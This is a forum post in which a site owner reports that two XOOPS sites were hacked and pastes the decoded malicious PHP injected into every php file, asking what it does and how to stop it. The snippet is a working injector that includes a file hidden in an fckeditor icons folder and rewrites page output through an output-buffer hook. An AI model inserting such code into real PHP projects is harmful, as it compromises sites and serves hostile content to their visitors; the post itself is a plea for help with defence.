Hi all
Recently one of my sites which is still running 2.2.5 was hacked. Each php file had encrypted code added at the top of the file.
Every php file on my account was infected. The encrypted code was decoded by my provider and is as follows
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/*****/public_html/modules/content/admin/fckeditor/editor/filemanager/browser/default/images/icons/32/copper.php')){include_once('/home/*****/public_html/modules/content/admin/fckeditor/editor/filemanager/browser/default/images/icons/32/copper.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/,$c)){return preg_replace('/(]*>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}
My provider stated, "We checked the issue and we could see that the codes are added to use the default editor of XOOPS software that you are using."
Can anyone tell me what the added code does?
Just today another site which is running XOOPS 2.0.16 and OpenX was hacked. The hack added an encrypted code to the start of every php file in the following directories,
root, Cache, OpenX, CPG and Frameworks.
Can anyone direct me to a solution to stop this behavior? Is it true that the editor from even XOOPS 2.0.16 can be used to inject this kind of code into php files?
What procedures do I need to perform to troubleshoot and or prevent this issue?
Both sites are running on the same shared server. File permissions on the changed files were set to 755 and 644. Mainfile.php was not altered due to it being set to 444 I assume.
If I left out anything necessary to understand the situation please ask me to provide it.
Thanks for the help
Foz